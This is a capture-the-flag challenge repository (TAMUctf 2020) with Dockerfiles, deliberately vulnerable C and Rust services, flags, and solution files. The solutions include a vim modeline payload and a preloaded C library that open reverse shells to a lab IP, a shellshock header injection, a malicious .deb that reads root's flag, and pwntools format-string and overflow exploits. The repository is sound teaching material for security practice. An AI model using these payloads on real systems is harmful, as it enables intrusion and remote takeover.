debian:buster-slim 2 | MAINTAINER Addison Crump "addisoncrump@tamu.edu" 3 | 4 | COPY headless_handler.sh /usr/bin/headless_handler.sh 5 | COPY server.sh /usr/bin/server.sh 6 | COPY flag2.txt /root/flag.txt 7 | 8 | RUN apt update; apt -y --autoremove full-upgrade 9 | RUN apt -y install libgpm2 libtinfo5 lsb-base netcat python3 socat screen sudo wget xxd 10 | RUN cd /tmp; \ 11 | wget https://snapshot.debian.org/archive/debian/20190501T041322Z/pool/main/v/vim/vim-common_8.1.0875-2_all.deb; dpkg -i vim-common_8.1.0875-2_all.deb; \ 12 | wget https://snapshot.debian.org/archive/debian/20190501T041322Z/pool/main/v/vim/vim-runtime_8.1.0875-2_all.deb; dpkg -i vim-runtime_8.1.0875-2_all.deb; \ 13 | wget https://snapshot.debian.org/archive/debian/20190501T041322Z/pool/main/v/vim/vim_8.1.0875-2_amd64.deb; dpkg -i vim_8.1.0875-2_amd64.deb 14 | RUN apt-get autoremove 15 | RUN apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* 16 | 17 | RUN echo ":set modeline" >> /etc/vim/vimrc 18 | 19 | RUN bash -c "useradd -m -p $(python3 -c 'import crypt; print(crypt.crypt("c18317973315befdec209dbbce0222d4c0e65b14c2316dc1302e5cfcfabd23a8"))') -s /bin/bash mwazowski" 20 | COPY note_to_self.txt /home/mwazowski/note_to_self.txt 21 | COPY flag1.txt /home/mwazowski/flag.txt 22 | RUN apt-mark showmanual > /home/mwazowski/manually_installed_packages.txt 23 | RUN echo "mwazowski ALL=NOPASSWD: /usr/bin/apt" >> /etc/sudoers 24 | RUN rm -f /root/.bash_history 25 | 26 | CMD ["su", "mwazowski", "-c", "/usr/bin/server.sh"] 27 | -------------------------------------------------------------------------------- /NetworkPentest/obituary/README.md: -------------------------------------------------------------------------------- 1 | # Obituary 2 | 3 | ```text 4 | Hey, shoot me over your latest version of the code. I have a simple nc session up, just pass it over when you're ready. 5 | 6 | You're using vim, right? You should use it; it'll change your life. I basically depend on it for everything these days! 7 | ``` 8 | 9 | ## Setup 10 | 11 | 1. `docker build -t obituary .` 12 | 2. `docker run --rm -d obituary` 13 | 14 | ## Brief Dev Description 15 | 16 | Simple socat server which, per session, accepts a stream of text and writes it to a `mktemp`'d file. When the TCP 17 | stream is closed, the file is opened with vim (via screen), then closed and deleted after 5 seconds. 18 | 19 | Unfortunately for the host, the specific (I mean real specific) version of vim used is vulnerable to CVE-2019-12735. 20 | Additionally, the user has left a apt source list as global rw and NOPASSWD'd apt. 21 | 22 | ## Solution, pt 1 23 | 24 | ```sh 25 | #!/bin/bash 26 | 27 | cat solution/pt1/payload.txt | nc -q 1 172.30.0.2 4321 & 28 | nc -lvnp 4444 29 | ``` 30 | 31 | `payload.txt` is simply a *slightly* modified version of 32 | [this](https://github.com/numirias/security/blob/master/data/2019-06-04_ace-vim-neovim/shell.txt). 33 | 34 | You may need to modify the IPs in payload.txt and that shown above, but I doubt it. 35 | 36 | ## Solution, pt 2 37 | 38 | 1. `sudo apt install dh-make` (only on debian-based distros; you can do this on other distros with other tools) 39 | 2. `cd solution/pt2` 40 | 3. `./build.sh` 41 | 4. In the shell gained from pt1: `nc -lp 5555 > exploit_0_all.deb` 42 | 5. Original shell: `cat exploit_0_all.deb | nc -q 1 172.30.0.2 5555` 43 | 6. pt1 shell: `sudo apt -y install ./exploit_0_all.deb` 44 | -------------------------------------------------------------------------------- /NetworkPentest/obituary/flag1.txt: -------------------------------------------------------------------------------- 1 | gigem{ca7_1s7_t0_mak3_suRe} 2 | -------------------------------------------------------------------------------- /NetworkPentest/obituary/flag2.txt: -------------------------------------------------------------------------------- 1 | gigem{y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r} 2 | -------------------------------------------------------------------------------- /NetworkPentest/obituary/headless_handler.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | tmp=$(mktemp) 4 | 5 | handle_file() { 6 | local screenname=$(echo $tmp | cut -d'.' -f 2-) 7 | 8 | screen -S $screenname -dm sh -c "cd $(dirname $(realpath $tmp)); vim $tmp" 9 | sleep 5 10 | screen -S $screenname -X stuff ":q! $(echo -ne '\r')" 11 | sleep 1 12 | rm $tmp 13 | } 14 | 15 | cat > $tmp 16 | handle_file & disown 17 | -------------------------------------------------------------------------------- /NetworkPentest/obituary/note_to_self.txt: -------------------------------------------------------------------------------- 1 | Apparently my packages are out of date. ITSEC is really throwing a fit about me 2 | needing to update since red team popped my box. 3 | 4 | I'm sending them my installed packages. I have no idea how these guys got root 5 | on my machine, my password is like 60 characters long. The only thing I have 6 | as nopasswd is apt, which I just use for updates anyway. 7 | -------------------------------------------------------------------------------- /NetworkPentest/obituary/server.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | socat -d -d -u tcp-l:4321,fork system:/usr/bin/headless_handler.sh 4 | -------------------------------------------------------------------------------- /NetworkPentest/obituary/solution/pt1/payload.txt: -------------------------------------------------------------------------------- 1 | [?7lSNothing here.:silent! w | call system('nohup nc 172.30.0.14 4444 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: Nothing here." 2 | -------------------------------------------------------------------------------- /NetworkPentest/obituary/solution/pt2/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | mkdir -p exploit-0/debian/ 4 | cp preinst exploit-0/debian/preinst 5 | 6 | cd exploit-0 7 | dh_make -yina 8 | dpkg-buildpackage -us -uc 9 | -------------------------------------------------------------------------------- /NetworkPentest/obituary/solution/pt2/preinst: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cat /root/flag.txt 4 | -------------------------------------------------------------------------------- /NetworkPentest/password-mismanagers.txt: -------------------------------------------------------------------------------- 1 | This challenge was written by TwoSix, who we are currently working on 2 | getting permission from before publishing. Thank you for your understanding! 3 | -------------------------------------------------------------------------------- /NetworkPentest/spell-icups/.gitignore: -------------------------------------------------------------------------------- 1 | *.out 2 | *.so 3 | -------------------------------------------------------------------------------- /NetworkPentest/spell-icups/README.md: -------------------------------------------------------------------------------- 1 | # Spell ICUPS 2 | 3 | ``` 4 | I turned on a small CUPS server we found in the back for saving PDFs that we make locally. Didn't have SSH or anything, though, but thankfully it had socat. 5 | ``` 6 | 7 | ## Documentation 8 | 9 | Existing exploit, non-existent payload. Competitors have to make their own exploitative shared object library. Fun! 10 | 11 | ### Setup 12 | 13 | 1. docker build . -t spell-icups 14 | 2. docker run --rm -it spell-icups 15 | 16 | ## Solution 17 | 18 | ``` 19 | gcc exploit.c -o exploit.so -fPIC -shared -ldl 20 | python exploit.py -a 172.30.0.2 -b 631 -c exploit.so 21 | python exploit.py -a 172.30.0.2 -b 631 -f >/dev/null & socat file:`tty`,raw,echo=0 tcp-listen:4444 22 | ``` 23 | -------------------------------------------------------------------------------- /NetworkPentest/spell-icups/config.yml: -------------------------------------------------------------------------------- 1 | # [default: None] A domain name to append to challenge names to create their default common name 2 | domain: naum.tamuctf.com 3 | 4 | # [default: './challenges'] The directory which contains your challenges 5 | # If the the path is relative, it will be relative to the generated docker-compose.yml file 6 | challenges_directory: ./challenges 7 | 8 | # [required] Configurations for each challenge 9 | challenges: 10 | spell-icups: 11 | port: 2002 12 | files: 13 | - spell-icups/docker-compose.yml 14 | commonname: 10.0.2.9 15 | ifconfig_push: 172.30.0.14/28 16 | -------------------------------------------------------------------------------- /NetworkPentest/spell-icups/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.4' 2 | 3 | x-limits: &limits 4 | pids_limit: 1024 5 | cpu_shares: 256 6 | mem_limit: 512m 7 | logging: 8 | options: 9 | max-size: 10m 10 | max-file: '3' 11 | 12 | services: 13 | spell-icups: 14 | <<: *limits 15 | build: . 16 | image: naumachia/spell-icups.actor 17 | networks: 18 | default: 19 | ipv4_address: 172.30.0.2 20 | ports: 21 | - 631 22 | restart: unless-stopped 23 | 24 | networks: 25 | default: 26 | driver: l2bridge 27 | ipam: 28 | driver: static 29 | config: 30 | - subnet: 172.30.0.0/28 31 | -------------------------------------------------------------------------------- /NetworkPentest/spell-icups/exploit.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | 6 | int main_hook(int argc, char **argv, char **envp) 7 | { 8 | execle("/bin/bash", "bash", "-c", "socat tcp-connect:172.30.0.14:4444 exec:/bin/bash,pty,stderr,setsid,sigint,sane", (char *) 0, (char *) 0); 9 | return 0; 10 | } 11 | 12 | int __libc_start_main( 13 | int (*main)(int, char **, char **), 14 | int argc, 15 | char **argv, 16 | int (*init)(int, char **, char **), 17 | void (*fini)(void), 18 | void (*rtld_fini)(void), 19 | void *stack_end) 20 | { 21 | /* Find the real __libc_start_main()... */ 22 | typeof(&__libc_start_main) orig = dlsym(RTLD_NEXT, "__libc_start_main"); 23 | 24 | /* ... and call it with our custom main function */ 25 | return orig(main_hook, argc, argv, init, fini, rtld_fini, stack_end); 26 | } 27 | -------------------------------------------------------------------------------- /NetworkPentest/spell-icups/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{h4ha_y0u_s41D_1t_hah4} 2 | -------------------------------------------------------------------------------- /Pwn/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Pwn/.gitkeep -------------------------------------------------------------------------------- /Pwn/b64decoder/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:bullseye-slim as build 2 | 3 | RUN apt update; apt -y install build-essential gcc-multilib 4 | 5 | COPY b64decoder.c /tmp/b64decoder.c 6 | RUN gcc -o /tmp/b64decoder -Wl,-z,norelro -no-pie -m32 /tmp/b64decoder.c 7 | 8 | FROM debian:buster-slim 9 | 10 | env DEBIAN_FRONTEND="noninteractive" 11 | 12 | RUN apt-get update && apt-get install socat -y 13 | 14 | RUN dpkg --add-architecture i386; apt update; apt install -y libc6:i386 15 | 16 | RUN groupadd ctf 17 | 18 | RUN mkdir /pwn 19 | 20 | COPY --from=build /tmp/b64decoder /pwn/b64decoder 21 | COPY flag.txt /pwn/flag.txt 22 | COPY start.sh /pwn/start.sh 23 | 24 | RUN useradd -G ctf --home=/pwn pwnuser 25 | 26 | RUN chown -R pwnuser /pwn 27 | RUN chmod -R 555 /pwn 28 | 29 | EXPOSE 2783 30 | 31 | ENTRYPOINT ["/pwn/start.sh"] 32 | -------------------------------------------------------------------------------- /Pwn/b64decoder/README.md: -------------------------------------------------------------------------------- 1 | ## Description 2 | 3 | 4 | We put together a demo for our high performance computing server. Why don't you check it out? 5 | 6 | [libc.so.6](libc.so.6) 7 | [b64decoder](b64decoder) 8 | 9 | 10 | ## Documentation 11 | 12 | Fairly straightforward %n formatting challenge. 13 | 14 | ### Setup 15 | 16 | 1. docker build . -t b64decoder 17 | 2. docker run --rm -it -p 2783:2783 b64decoder 18 | 19 | ## Solution 20 | 21 | Use %n to overwrite a64l with system in got.plt and then pass "a64l" whatever argument you want. The address of a64l and system shift around so I provide the version of libc in the container. solver.py will do the exploit and give you shell. -------------------------------------------------------------------------------- /Pwn/b64decoder/b64decoder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Pwn/b64decoder/b64decoder -------------------------------------------------------------------------------- /Pwn/b64decoder/b64decoder.c: -------------------------------------------------------------------------------- 1 | #include "stdio.h" 2 | #include "stdlib.h" 3 | 4 | 5 | int main() { 6 | system("echo Base64 is an encoding that represents binary data in ASCII string format. "); 7 | printf("Each number from 0 to 63 is mapped to an ASCII character. For example, 'z' is %ld\n", a64l("z")); 8 | printf("Base64 Decoder: Powered by a64l (0x%x)\n", a64l); 9 | printf("%s", "Enter your name! \n"); 10 | fflush(stdout); 11 | char name[32]; 12 | fgets(name, sizeof(name), stdin); 13 | printf("Welcome, "); 14 | printf(name); 15 | printf("\n"); 16 | fflush(stdout); 17 | while (1) { 18 | printf("Please enter input to be decoded: \n"); 19 | char input[256]; 20 | fgets(input, sizeof(input), stdin); 21 | long out = a64l(input); 22 | printf("%d\n", out); 23 | fflush(stdout); 24 | } 25 | return 0; 26 | } -------------------------------------------------------------------------------- /Pwn/b64decoder/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{b1n5h_1n_b45364?} -------------------------------------------------------------------------------- /Pwn/b64decoder/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Pwn/b64decoder/libc.so.6 -------------------------------------------------------------------------------- /Pwn/b64decoder/solver.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | 4 | p = remote('localhost', 2783) 5 | binary = ELF("./b64decoder") 6 | libc = ELF("./libc.so.6") 7 | print(p.recvline()) 8 | # print(p.recvline()) 9 | print(p.recvline()) 10 | 11 | a64_addr = int(str(p.recvline()).split("(")[1].split(")")[0],16) 12 | 13 | system_lower = (a64_addr - (libc.symbols.a64l - libc.symbols.system)) & 0xFFFF 14 | payload = bytearray() 15 | payload += p32(binary.got['a64l']) 16 | payload += "%{}x".format(str(system_lower-4)).encode('ascii') 17 | payload += "%71$hn".encode('ascii') 18 | 19 | p.sendline(payload) 20 | p.sendline("/bin/sh") 21 | p.interactive() 22 | -------------------------------------------------------------------------------- /Pwn/b64decoder/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | while : 4 | do 5 | su -c "exec socat TCP-LISTEN:2783,reuseaddr,fork EXEC:/pwn/b64decoder,stderr" - pwnuser; 6 | done 7 | -------------------------------------------------------------------------------- /Pwn/bbpwn/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM i386/ubuntu:latest 2 | 3 | env DEBIAN_FRONTEND="noninteractive" 4 | 5 | 6 | RUN apt-get update && apt-get install socat -y 7 | 8 | RUN groupadd ctf 9 | 10 | 11 | RUN mkdir /pwn 12 | 13 | COPY bbpwn /pwn/bbpwn 14 | COPY flag.txt /pwn/flag.txt 15 | COPY entry.sh /pwn/entry.sh 16 | 17 | RUN useradd -G ctf --home=/pwn pwnuser 18 | 19 | RUN chown -R pwnuser /pwn 20 | RUN chmod -R 555 /pwn 21 | 22 | EXPOSE 4252 23 | 24 | ENTRYPOINT ["/pwn/entry.sh"] 25 | -------------------------------------------------------------------------------- /Pwn/bbpwn/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -m32 bbpwn.c -o bbpwn 3 | 4 | clean: 5 | rm bbpwn 6 | -------------------------------------------------------------------------------- /Pwn/bbpwn/README.md: -------------------------------------------------------------------------------- 1 | # bbpwn 2 | Intro pwn challenge. 3 | 4 | # Setup 5 | 6 | sudo docker build -t bbpwn . 7 | sudo docker run --rm -it -p 4252:4252 bbpwn 8 | 9 | # Solution 10 | python -c "print 'A' * 32 + '\xef\xbe\x37\x13'" | nc localhost 4252 11 | -------------------------------------------------------------------------------- /Pwn/bbpwn/bbpwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Pwn/bbpwn/bbpwn -------------------------------------------------------------------------------- /Pwn/bbpwn/bbpwn.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void read_flag(){ 4 | FILE *fptr; 5 | fptr = fopen("flag.txt","r"); 6 | if (fptr == NULL){ 7 | printf("File Error: flag.txt does not exist."); 8 | fflush(stdout); 9 | exit(0); 10 | } 11 | char flag[50]; 12 | fgets(flag,50,fptr); 13 | printf("Congratulations. Your string is not lame. Here you go: %s\n",flag); 14 | fflush(stdout); 15 | } 16 | 17 | int main(){ 18 | struct { 19 | char buf[32]; 20 | int hello; 21 | } locals; 22 | locals.hello = 0; 23 | printf("Enter a string: "); 24 | fflush(stdout); 25 | gets(locals.buf); 26 | if (locals.hello == 0x1337beef){ 27 | read_flag(); 28 | } 29 | else { 30 | printf("\nThe string \"%s\" is lame.\n",locals.buf); 31 | fflush(stdout); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /Pwn/bbpwn/entry.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | while : 4 | do 5 | su -c "exec socat TCP-LISTEN:4252,reuseaddr,fork EXEC:/pwn/bbpwn,stderr" - pwnuser; 6 | done 7 | -------------------------------------------------------------------------------- /Pwn/bbpwn/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{0per4tion_skuld_74757474757275} 2 | -------------------------------------------------------------------------------- /Pwn/calculataser/.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | .idea/ 3 | venv/ -------------------------------------------------------------------------------- /Pwn/calculataser/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:slim as build 2 | 3 | RUN USER=root cargo new --bin calculataser 4 | WORKDIR /calculataser 5 | 6 | COPY server/Cargo.lock ./Cargo.lock 7 | COPY server/Cargo.toml ./Cargo.toml 8 | 9 | RUN cargo build --release 10 | RUN rm src/*.rs 11 | 12 | COPY server/src ./src 13 | 14 | RUN rm ./target/release/deps/calculataser* 15 | RUN cargo build --release 16 | 17 | FROM debian:buster-slim 18 | MAINTAINER Addison Crump "addisoncrump@tamu.edu" 19 | 20 | RUN apt update; apt -y --autoremove full-upgrade; apt -y install bc libtinfo5 wget 21 | RUN wget http://snapshot.debian.org/archive/debian/20130101T091755Z/pool/main/b/bash/bash_4.2%2Bdfsg-0.1_amd64.deb -O /tmp/bash_4.2+dfsg-0.1_amd64.deb && \ 22 | dpkg -i /tmp/bash_4.2+dfsg-0.1_amd64.deb 23 | RUN apt-get autoremove 24 | RUN apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* 25 | 26 | # copy the build artifact from the build stage 27 | COPY --from=build /calculataser/target/release/calculataser_server /usr/bin/calculataser 28 | COPY flag.txt /root/flag.txt 29 | 30 | EXPOSE 3012 31 | 32 | # set the startup command to run your binary 33 | CMD ["/usr/bin/calculataser"] 34 | -------------------------------------------------------------------------------- /Pwn/calculataser/README.md: -------------------------------------------------------------------------------- 1 | # Calculataser 2 | 3 | ```text 4 | We've spun up an old websocket arbitrary precision calculator from 2014 just bc we can, obviously. 5 | 6 | We made a client for you. Give it a whirl! 7 | ``` 8 | 9 | ## Setup 10 | 11 | 1. `docker build -t calculataser .` 12 | 2. `docker run --rm -p 3012:3012 -d calculataser` 13 | 14 | **We MUST change the client to use the target server address/domain before release** 15 | 16 | ## Brief Dev Description 17 | 18 | A websocket server which invokes bc in a manner which is vulnerable to shellshock (CVE-2014-6271). Users are permitted 19 | to add their own line length environmental variable, which can be used to invoke commands via shellshock. 20 | 21 | ## Solution 22 | 23 | It's websocket shell time. 24 | 25 | ```python 26 | import websocket 27 | 28 | if __name__ == '__main__': 29 | ws = websocket.WebSocket() 30 | ws.connect("ws://172.17.0.2:3012/", header=["BC_LINE_LENGTH: () { :; }; /bin/cat /root/flag.txt"]) 31 | 32 | ws.send("1 + 5\n") 33 | 34 | result = ws.recv() 35 | print("Received '%s'" % str(result.decode("utf-8"))) 36 | ws.close() 37 | ``` 38 | 39 | Note that the injection occurs within the BC_LINE_LENGTH request header. This is not triggerable from a browser, I 40 | promise. 41 | 42 | ## Possible Difficulty Enhancements 43 | 44 | - It would be possible to configure a response for `OPTIONS` that specifies that the header may be provided, but don't 45 | tell the user. This might be considered... unfair. 46 | -------------------------------------------------------------------------------- /Pwn/calculataser/client/client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # pip install websocket_client 4 | import websocket 5 | 6 | if __name__ == '__main__': 7 | ws = websocket.WebSocket() 8 | ws.connect("ws://challenges.tamuctf.com:3012/", header=["BC_LINE_LENGTH: () { :; }; /bin/ls"]) 9 | 10 | ws.send("1 + 5\n") 11 | 12 | result = ws.recv() 13 | print("Received '%s'" % str(result.decode("utf-8"))) 14 | ws.close() 15 | -------------------------------------------------------------------------------- /Pwn/calculataser/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{sh0CKd_by_7h3_ca1culatoR} -------------------------------------------------------------------------------- /Pwn/calculataser/server/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "calculataser_server" 3 | version = "0.1.0" 4 | authors = ["Addison Crump "] 5 | edition = "2018" 6 | 7 | [dependencies] 8 | ws = "0.9.0" 9 | -------------------------------------------------------------------------------- /Pwn/calculataser/server/src/main.rs: -------------------------------------------------------------------------------- 1 | extern crate ws; 2 | 3 | use std::io::{Write, stdout}; 4 | use std::process::{Command, Stdio}; 5 | use std::str; 6 | 7 | use ws::{Error, Handler, listen, Message, Request, Response, Result, Sender}; 8 | 9 | struct Server { 10 | out: Sender, 11 | line_limit: String, 12 | } 13 | 14 | impl Handler for Server { 15 | fn on_message(&mut self, msg: Message) -> Result<()> { 16 | print!("{}", msg.as_text()?); 17 | stdout().flush()?; 18 | 19 | let mut child = Command::new("bash").arg("-c").arg("bc") 20 | .env("BC_LINE_LENGTH", self.line_limit.as_str()) 21 | .stdin(Stdio::piped()) 22 | .stdout(Stdio::piped()) 23 | .spawn() 24 | .ok().expect("failed to spawn process"); 25 | 26 | child.stdin.as_mut().unwrap().write_all(msg.into_data().as_ref())?; 27 | 28 | let output = child.wait_with_output()?.stdout; 29 | self.out.send(output) 30 | } 31 | 32 | fn on_error(&mut self, err: Error) { 33 | println!("The server encountered an error: {:?}", err); 34 | } 35 | 36 | fn on_request(&mut self, req: &Request) -> Result { 37 | self.line_limit = str::from_utf8(req.header("BC_LINE_LENGTH").unwrap_or("100".as_bytes().to_vec().as_ref()))?.parse().unwrap(); 38 | Response::from_request(req) 39 | } 40 | } 41 | 42 | fn main() { 43 | listen("0.0.0.0:3012", |out| { Server { out, line_limit: "100".parse().unwrap() } }).unwrap() 44 | } -------------------------------------------------------------------------------- /Pwn/echoasaservice/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | 3 | env DEBIAN_FRONTEND="noninteractive" 4 | 5 | 6 | RUN apt-get update && apt-get install socat -y 7 | 8 | RUN groupadd ctf 9 | 10 | 11 | RUN mkdir /pwn 12 | 13 | COPY echoasaservice /pwn/echoasaservice 14 | COPY flag.txt /pwn/flag.txt 15 | COPY start.sh /pwn/start.sh 16 | 17 | RUN useradd -G ctf --home=/pwn pwnuser 18 | 19 | RUN chown -R pwnuser /pwn 20 | RUN chmod -R 555 /pwn 21 | 22 | EXPOSE 4251 23 | 24 | ENTRYPOINT ["/pwn/start.sh"] 25 | -------------------------------------------------------------------------------- /Pwn/echoasaservice/README.md: -------------------------------------------------------------------------------- 1 | ## Description 2 | 3 | Echo as a service (EaaS) is going to be the newest hot startup! We've tapped a big market: Developers who really like SaaS. 4 | 5 | ## Documentation 6 | 7 | Basic string formatting pwn challenge. 8 | 9 | ### Setup 10 | 11 | 1. docker build . -t eaas 12 | 2. docker run --rm -it -p 4251:4251 eaas 13 | 14 | ## Solution 15 | 16 | Look through the disassembled main function to figure out where its putting the data it reads and then grab that memory with sufficient %x. I've attached a solver. 17 | -------------------------------------------------------------------------------- /Pwn/echoasaservice/echoasaservice: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Pwn/echoasaservice/echoasaservice -------------------------------------------------------------------------------- /Pwn/echoasaservice/echoasaservice.c: -------------------------------------------------------------------------------- 1 | #include "unistd.h" 2 | #include "stdio.h" 3 | #include "stdlib.h" 4 | 5 | 6 | int main() { 7 | setvbuf(stdout,_IONBF,0,0); 8 | 9 | 10 | FILE* flagfile = fopen("flag.txt","r"); 11 | char flag[24]; 12 | if(flagfile != NULL) { 13 | fgets(flag, 25, flagfile); 14 | } 15 | while(1) { 16 | printf("Echo as a service (EaaS)\n"); 17 | char input[24]; 18 | gets(input); 19 | printf(input); 20 | printf("\n"); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /Pwn/echoasaservice/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{3asy_f0rmat_vuln1} 2 | -------------------------------------------------------------------------------- /Pwn/echoasaservice/solver.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.terminal = ['termite', '-e'] 4 | 5 | #p = gdb.debug('./easy_string_format', gdbscript='b *main+125\nc') 6 | p = process('./echoasaservice') 7 | p.recvline() 8 | payload = bytearray() 9 | payload += "%8$lx.%9$lx.%10$lx".encode() 10 | p.sendline(payload) 11 | flag = p.recvline().decode('utf-8').rstrip() 12 | split = flag.split('.') 13 | endian = "".join(["".join(reversed([j[i:i+2] for i in range(0, len(j), 2)])) for j in split]) 14 | print(bytearray.fromhex(endian).decode()) 15 | -------------------------------------------------------------------------------- /Pwn/echoasaservice/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | while : 4 | do 5 | su -c "exec socat TCP-LISTEN:4251,reuseaddr,fork EXEC:/pwn/echoasaservice,stderr" - pwnuser; 6 | done 7 | -------------------------------------------------------------------------------- /Pwn/getting-confused/.gitignore: -------------------------------------------------------------------------------- 1 | getting-confused 2 | -------------------------------------------------------------------------------- /Pwn/getting-confused/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine as build 2 | 3 | RUN apk --no-cache add alpine-sdk 4 | 5 | ADD getting-confused.c /tmp/getting-confused.c 6 | RUN cd /tmp/; gcc -o getting-confused getting-confused.c 7 | 8 | FROM alpine 9 | 10 | RUN apk --no-cache add socat 11 | 12 | COPY --from=build /tmp/getting-confused /pwn/getting-confused 13 | COPY flag.txt /pwn/flag.txt 14 | 15 | WORKDIR /pwn 16 | 17 | EXPOSE 4352 18 | 19 | ENTRYPOINT ["sh", "-c", "exec socat -d -d tcp-l:4352,reuseaddr,fork exec:/pwn/getting-confused,pty,setsid,setpgid,stderr,ctty"] 20 | -------------------------------------------------------------------------------- /Pwn/getting-confused/Dockerfile.build: -------------------------------------------------------------------------------- 1 | FROM alpine 2 | 3 | RUN apk --no-cache add alpine-sdk 4 | RUN mkdir -p /opt/build 5 | 6 | WORKDIR /opt/build 7 | 8 | ENTRYPOINT ["gcc"] 9 | -------------------------------------------------------------------------------- /Pwn/getting-confused/README.md: -------------------------------------------------------------------------------- 1 | # Getting Confused 2 | 3 | ```text 4 | We want to test how truly redass you are. In order to do so, we've set up a little test. 5 | 6 | Connect to :4352 and answer correctly. We'll even give you the binary the test has for fairness. 7 | ``` 8 | 9 | ## Setup 10 | 11 | 1. `docker build -t getting-confused .` 12 | 2. `docker run --rm -p 4352:4352 -d getting-confused` 13 | 14 | ## Brief Dev Description 15 | 16 | Just a little binary with a few prompts, socat'd to the world. 17 | 18 | Unfortunately, there's stack reuse and fgets doesn't write anything if the file descriptor is closed. 19 | 20 | ## Solution 21 | 22 | ```text 23 | $ socat -,raw,echo=0 tcp:172.17.0.2:4352 24 | howdy 25 | gig 'em 26 | ^D 27 | ``` 28 | 29 | Where ^D is EOF in CTTY. 30 | -------------------------------------------------------------------------------- /Pwn/getting-confused/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker build -t gcc:alpine -f Dockerfile.build . 4 | docker run --user $(id -u):$(id -g) --rm -ti -v $(pwd):/opt/build gcc:alpine -o getting-confused getting-confused.c 5 | -------------------------------------------------------------------------------- /Pwn/getting-confused/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{fg3ts_g3t5_c0nfu5ed_2} 2 | -------------------------------------------------------------------------------- /Pwn/getting-confused/getting-confused.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define BUF_SIZE 64 6 | 7 | int main() { 8 | char temp[BUF_SIZE]; 9 | char buf[BUF_SIZE]; 10 | puts("Howdy! First floor."); 11 | fgets(buf, sizeof(buf), stdin); 12 | strcpy(temp, "howdy\n"); 13 | if (strcmp(buf, temp)) { 14 | puts("How 2%er of you."); 15 | exit(1); 16 | } 17 | puts("Thanks and..."); 18 | fgets(buf, sizeof(buf), stdin); 19 | strcpy(temp, "gig 'em\n"); 20 | if (strcmp(buf, temp)) { 21 | puts("How 2%er of you."); 22 | exit(1); 23 | } 24 | strcpy(temp, "whoop\n"); 25 | *((void **)buf) = malloc(sizeof(temp)); 26 | memcpy(*((void **)buf), temp, sizeof(temp)); 27 | puts("What's our secret way of knowing when another one of us is in a crowd?"); 28 | fgets(buf, sizeof(buf), stdin); 29 | if (strcmp(*((char **)buf), temp)) { 30 | puts("Begone, 2%er!"); 31 | exit(1); 32 | } 33 | FILE * fd = fopen("flag.txt", "r"); 34 | fgets(buf, sizeof(buf), fd); 35 | puts(buf); 36 | fclose(fd); 37 | } 38 | -------------------------------------------------------------------------------- /Pwn/grpc_toctou/server/entry.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | while : 3 | do 4 | su -c "/pwn/grpc_server" - pwnuser 5 | done 6 | -------------------------------------------------------------------------------- /Pwn/grpc_toctou/server/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{synchr0niz4ati0n_pl5} 2 | -------------------------------------------------------------------------------- /Pwn/grpc_toctou/server/server.h: -------------------------------------------------------------------------------- 1 | #ifndef SERVER_H_INCLUDED 2 | #define SERVER_H_INCLUDED 3 | 4 | #include 5 | 6 | class User{ 7 | public: 8 | char username[32]; 9 | char msg[100]; 10 | 11 | User(char* user); 12 | }; 13 | 14 | struct cmp_str 15 | { 16 | bool operator()(char const *a, char const *b); 17 | }; 18 | 19 | extern std::map current_users; 20 | 21 | char* login(char* id, char* name, char* password); 22 | 23 | char* logout(char* id, char* name); 24 | 25 | char* sendEcho(char* id, char* name, char* message); 26 | 27 | char* receiveEcho(char* id, char* name); 28 | 29 | #endif 